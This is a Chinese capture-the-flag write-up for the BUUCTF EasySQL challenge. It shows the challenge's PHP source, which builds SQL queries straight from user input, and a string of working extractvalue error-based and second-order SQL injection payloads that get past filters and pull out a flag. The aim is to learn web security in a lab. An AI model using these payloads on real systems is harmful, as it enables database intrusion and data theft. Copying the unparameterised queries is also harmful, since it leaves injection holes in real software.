60,【1】BUUCF web [RCTF2015]EasySQL1

先查看源码

1,changepwd(修改密码)

<?php
// 开启会话,以便使用会话变量
session_start();// 设置页面的内容类型为 HTML 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';// 输出一个表单,用于用户输入旧密码和新密码
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';// 检查是否提交了旧密码和新密码
if (isset($_POST['oldpass']) && isset($_POST['newpass'])) {// 将用户输入的旧密码进行 MD5 哈希处理$oldpass = md5($_POST['oldpass']);// 将用户输入的新密码进行 MD5 哈希处理$newpass = md5($_POST['newpass']);// 获取当前登录用户的用户名,存储在会话中$username = $_SESSION['username'];// 构建 SQL 语句,用于更新用户的密码,使用用户输入的旧密码验证用户身份$sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";// var_dump($sql);// 执行 SQL 查询$query = mysql_query($sql);// 检查查询是否成功执行if ($query) {// 如果查询成功,退出脚本,可根据需要修改为更有意义的操作,如显示成功消息exit('');} else {// 如果查询失败,输出 MySQL 错误信息并终止脚本die(mysql_error());}
}
?>

此文件表明会对输入的用户名和密码进行MD5哈希处理

所以数据库中存储的是MD5哈希值

查询成功,此文件执行结束,如果失败,会输出MySQL错误信息

好像是报错注入

2,config(配置文件)

<?php
// 定义数据库主机地址和端口号
$dbhost = 'localhost:3306';
// 定义数据库用户名
$dbuser = 'root';
// 定义数据库密码,这里是空密码
$dbpass = '';
// 使用 mysql_connect 函数尝试连接到数据库服务器,传递主机、用户名和密码作为参数
$conn = mysql_connect($dbhost, $dbuser, $dbpass);// 选择要使用的数据库,这里选择的是名为 'web_sqli' 的数据库
mysql_select_db('web_sqli');
// 设置字符集为 utf8,确保数据库操作使用 utf8 编码,避免乱码问题
mysql_query('set NAMES utf8');// 检查是否开启了魔术引号,如果没有开启,则对 POST 和 GET 数据进行转义处理
if (!get_magic_quotes_gpc()) {// 遍历 POST 数据,对其中的每个元素进行转义处理foreach ($_POST as $key => $value) {// 使用 addslashes 函数对值进行转义,防止 SQL 注入$_POST[$key] = addslashes($value);}// 遍历 GET 数据,对其中的每个元素进行转义处理foreach ($_GET as $key => $value) {// 使用 addslashes 函数对值进行转义,防止 SQL 注入$_GET[$key] = addslashes($value);}
}
?>

此文件表明数据库用户名为root,密码是空密码

并且检查是否开启了魔术引号,未开启时对post,get数据进行转义处理

3,index(默认首页文件)

<?php
// 开始一个新的会话或继续已有的会话
session_start();// 设置 HTTP 响应头,指定内容类型为 text/html 且字符编码为 UTF-8
header("Content-Type: text/html; charset=UTF-8");// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';// 检查是否已经设置了会话中的用户名,这通常表示用户已经登录
if (isset($_SESSION['username'])) {// 输出欢迎信息,并显示用户的名字作为一个链接,指向 user.php 页面echo "Hi,<a href='user.php'>".$_SESSION['username']."</a>";// 输出一个无序列表的开始标签echo "<ul>";// 输出列表项,链接到 index.php 并传递不同的 title 参数echo "<li><a href='index.php?title=lcsg'>良辰诗歌</a></li>";echo "<li><a href='index.php?title=wyzb'>网友装逼</a></li>";echo "<li><a href='index.php?title=zrtbf'>赵日天不服</a></li>";// 输出无序列表的结束标签echo "</ul>";// 检查是否从 GET 请求中接收到了 title 参数if (isset($_GET['title'])) {// 获取 GET 请求中的 title 参数的值$title = $_GET['title'];// 构建一个 SQL 查询语句,根据 title 从 article 表中查询数据$sql = "select * from article where title='$title'";// 执行 SQL 查询$query = mysql_query($sql);// 检查查询是否成功执行if ($query) {// 获取查询结果的一行数据作为关联数组$row = mysql_fetch_array($query);// 输出查询结果中 content 列的数据echo $row['content'];}}
} else {// 如果用户没有登录,输出匿名用户的欢迎信息echo "Hi,Anonymous<br>";// 输出登录页面的链接echo "<a href='./login.php'>LOGIN</a><br>";// 输出注册页面的链接echo "<a href='./register.php'>REGISTER</a><br>";
}
?>

4,login(登录)

<?php
// 开始一个新的会话或继续已有的会话
session_start();// 设置 HTTP 响应头,指定内容类型为 text/html 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';// 输出一个 HTML 表单,用户可以在其中输入用户名和密码,表单提交到 login.php 页面,使用 POST 方法
echo '<form action="login.php" method="post"><p>username: <input type="text" name="username" /></p><p>password: <input type="text" name="password" /></p><input type="submit" value="Submit" /></form>';// 检查是否通过 POST 方法提交了用户名和密码
if (isset($_POST['username']) && isset($_POST['password'])) {// 获取用户输入的用户名$username = $_POST['username'];// 使用 MD5 对用户输入的密码进行哈希处理(这种方式已不安全,建议使用 password_hash 函数)$password = md5($_POST['password']);// 构建 SQL 查询语句,用于从 users 表中查找匹配的用户名和密码$sql = "SELECT * FROM users WHERE name = '$username' and pwd = '$password'";// 执行 SQL 查询$query = mysql_query($sql);// 检查查询结果是否正好有一行(即找到一个匹配的用户)if (mysql_num_rows($query) == 1) {// 获取查询结果的一行数据$row = mysql_fetch_array($query);// 将用户名存储在会话中,用于后续页面判断用户是否已登录$_SESSION['username'] = $row['name'];// 重定向到 index.php 页面header('Location: index.php');// 终止脚本执行die();} else {// 如果未找到匹配用户,输出登录错误信息并终止脚本die('<br>login error');}
}
?>

看完这个源码后就看不到了

只能先进靶场了

进入靶场

尝试输入

无效字符串

不管输啥都说无效字符串,,,,,,

后来发现好像是Email出了问题

知道了一个用户名(猜测可以通过新注册一个账号来更改admin账户的密码)

以此来注册一个账号

登录

看到此页面

点击admin#后发现可以更改密码

那就先把admin账号的密码改了

改成123

登录看看

好打脸啊

一开始输admin'说无效字符串后就没输过'了

补上再输一遍

还是错的????????????????????

试试  "

好吧,也是对了,以后菜就多试

先都点进去看看

so,我是什么很贱的人吗,给我看这个

不过通过以上操作,得知存在二次注入

根据源码知道它会报错

而且一开始的操作知道它会过滤

50.【8】BUUCTF WEB HardSql-CSDN博客

参考这篇博客的语句

1,查询库名

admin"^extractvalue(1,concat(0x7e,(select(database()))))#

(#是以get方式提交时使用的,-- -和-- +是以post方式提交时使用的,%23在url处使用)

2,查询表名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('~web_sqli'))))#

???

尝试了一下,是把like过滤了

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

空白???

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

还是空白?????????

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))#

把库名带进去就报不出来,那我求库名的操作算什么????

算我。。

3,查询字段名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

4,查询字段内容

admin"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
 

语义未尽

用right让后面的爆出来

admin"^extractvalue(1,right(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),32))#

要不我还是去四八(好不容易把括号一组一组对上)

他把right过滤了

admin"^extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

终于终于

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

???还好还好,快结束了

下午学姐刚好讲了正则表达式

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

admin"^extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

手动拼一下

flag{090f0996-0d57-4a30-b0d9-92675185411f}

over

笔记

1,该用字典还得用字典

2,extractvalue

3,空格被过滤的题目第一遍就认真注意()的个数,千万别再多一个少一个了


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/66654.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

高并发内存池_CentralCache(中心缓存)和PageCache(页缓存)申请内存的设计

三、CentralCache&#xff08;中心缓存&#xff09;_内存设计 &#xff08;一&#xff09;Span的创建 // 页编号类型&#xff0c;32位下是4byte类型&#xff0c;64位下是8byte类型 // #ifdef _WIN64 typedef unsigned long long PageID; #else _WIN32 typedef size_t PageI…

2024年终总结-行到水穷处,坐看云起时

依然是——关于我 我&#xff0c;坐标山东青岛&#xff0c;一位无名的Java Coder&#xff0c;你可以叫我Debug.c亦或者种棵代码技术树。在此不过多赘述关于我&#xff0c;更多的关于我请移步我的2023年年终总结。 2023年终总结-轻舟已过万重山 2024年OKR完成情况 2023年年末…

AI编程工具使用技巧:在Visual Studio Code中高效利用阿里云通义灵码

AI编程工具使用技巧&#xff1a;在Visual Studio Code中高效利用阿里云通义灵码 前言一、通义灵码介绍1.1 通义灵码简介1.2 主要功能1.3 版本选择1.4 支持环境 二、Visual Studio Code介绍1.1 VS Code简介1.2 主要特点 三、安装VsCode3.1下载VsCode3.2.安装VsCode3.3 打开VsCod…

1月21日星期二今日早报简报微语报早读

1月21日星期二&#xff0c;农历腊月廿二&#xff0c;早报#微语早读。 1、多地官宣&#xff1a;2025年可有序、限时或在限定区域燃放烟花爆竹&#xff1b; 2、TikTok恢复在美服务&#xff1b;特朗普提出继续运营TikTok方案&#xff0c;外交部&#xff1a;若涉及收购中国企业应…

计算机组成原理——数据表示(一)

生活是一道长长的旅程&#xff0c;充满了挑战和困难。然而&#xff0c;我们必须坚持下去&#xff0c;努力前进。无论遇到什么困难&#xff0c;我们都要勇敢面对&#xff0c;永不放弃。只有通过不断的努力和坚持&#xff0c;我们才能够取得成功。在这个旅程中&#xff0c;我们可…

强化学习入门--基本概念

强化学习基本概念 grid-world example 这个指的是一个小机器人&#xff08;agent&#xff09;在一个网格区域&#xff08;存在边界&#xff09;&#xff0c;网格中存在需要躲避的格子和目标格子&#xff0c;我们的目的就是找到到达目标格子的最短路径 state 表示智能体相对…

STMCubeMX配置STM32F103ZET6

1 配置时钟 配置RCC。 配置 SYS。将Timebase Source配置为TIM1, SysTick留给FreeRTOS用。 注意: 由于第一次配置的时候忘记配置这个步骤,导致工程第一次烧录成功后,后面一直无法烧录,报以下错误: keil no target connect Error: Flash Download failed - Target DLL h…

Leetcode:2239

1&#xff0c;题目 2&#xff0c;思路 循环遍历满足条件就记录&#xff0c;最后返回结果值 3&#xff0c;代码 public class Leetcode2239 {public static void main(String[] args) {System.out.println(new Solution2239().findClosestNumber(new int[]{-4, -2, 1, 4, 8})…

C语言之斗地主游戏

&#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 总有人间一两风&#xff0c;填我十万八千梦。 &#x1f680; 路漫漫其修远兮&#xff0c;吾将上下而求索。 ​ C语言之斗地主游戏 目录 程序概述程序设计 Card类CardGroup类Player类LastCards类Land…

python编程-OpenCV(图像读写-图像处理-图像滤波-角点检测-边缘检测)图像变换

形态变换 图像处理中的形态学操作是处理图像结构的有效方法。以下是一些常见的形态学操作的介绍及其在 OpenCV 中的实现示例。 1. 腐蚀&#xff08;Erosion&#xff09; 腐蚀操作通过消除图像边界来减少图像中的白色区域&#xff08;前景&#xff09;&#xff0c;使物体的边…

【Prometheus】PromQL进阶用法

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

计算机网络介质访问控制全攻略:从信道划分到协议详解!!!

一、信道划分介质访问控制 介质访问控制&#xff1a;多个节点共享同一个“总线型”广播信道时&#xff0c;可能发生“信号冲突” 应该怎么控制各节点对传输介质的访问&#xff0c;才能减少冲突&#xff0c;甚至避免冲突? 时分复用(TDM) 时分复用&#xff1a;将时间分为等长的“…

Prometheus部署及linux、mysql、monog、redis、RocketMQ、java_jvm监控配置

Prometheus部署及linux、mysql、monog、redis、RocketMQ、java_jvm监控配置 1.Prometheus部署1.2.Prometheus修改默认端口 2.grafana可视化页面部署3.alertmanager部署4.监控配置4.1.主机监控node-exporter4.2.监控mysql数据库mysqld_exporter4.3.监控mongod数据库mongodb_expo…

基于tldextract提取URL里的子域名、主域名、顶级域

TLD是TopLevel Domain的缩写。‌tldextract‌ 是一个用于从URL中提取子域、主域名和顶级域&#xff08;TLD&#xff09;的Python库。它利用公共后缀列表&#xff08;Public Suffix List&#xff09;来确保即使是复杂或不常见的URL结构也能被正确解析。tldextract能够处理包括IC…

常见Arthas命令与实践

Arthas 官网&#xff1a;https://arthas.aliyun.com/doc/&#xff0c;官方文档对 Arthas 的每个命令都做出了介绍和解释&#xff0c;并且还有在线教程&#xff0c;方便学习和熟悉命令。 Arthas Idea 的 IDEA 插件。 这是一款能快速生成 Arthas命令的插件&#xff0c;可快速生成…

win32汇编环境,对多行编辑框添加或删除文本

;运行效果 ;win32汇编环境,对多行编辑框添加或删除文本 ;主要要先设置文本的开始点与结束点&#xff0c;然后把一段文本顶替上去。没有添加文本或删除文本的概念&#xff0c;只有顶替。如果开始点与结束点都是前面文本的长度值&#xff0c;则成了从后面添加文本的效果。如果结束…

CSDN年度回顾:技术征途上的坚实步伐

嘿&#xff0c;时光过得可真快呀&#xff0c;就像那匹跑得飞快的白马&#xff0c;嗖的一下&#xff0c;2024 年的日历就这么悄无声息地翻到了最后一页。这会儿我回头看看在 CSDN 上度过的这一年&#xff0c;心里那叫一个感慨万千&#xff0c;满满的都是喜悦&#xff0c;就像心里…

人脸识别打卡系统--基于QT(附源码)

逃离舒适区 项目源代码放在我的仓库中&#xff0c;有需要自取 项目地址 https://gitcode.com/hujiahangdewa/Face_recognition.git 文章目录 一、项目结构分析二、服务器的搭建三、客户端的搭建四、人脸识别库的申请五、基于人脸识别库的识别判断六、QT人脸识别----调用百度ai…

人工智能在数字化转型中的角色:从数据分析到智能决策

引言 在数字化转型浪潮中&#xff0c;人工智能&#xff08;AI&#xff09;正迅速崛起&#xff0c;成为推动企业创新和变革的关键力量。面对日益复杂的市场环境和激烈的行业竞争&#xff0c;企业亟需借助技术手段提高运营效率、优化决策过程&#xff0c;并增强市场竞争力。而AI…

react install

react 安装 React 是一个用于构建用户界面的 JavaScript 库。以下是安装 React 的步骤&#xff1a; 使用 Create React App Create React App 是一个官方支持的命令行工具&#xff0c;用于快速搭建 React 应用。 安装 Node.js 和 npm 确保你的计算机上安装了 Node.js 和 npm…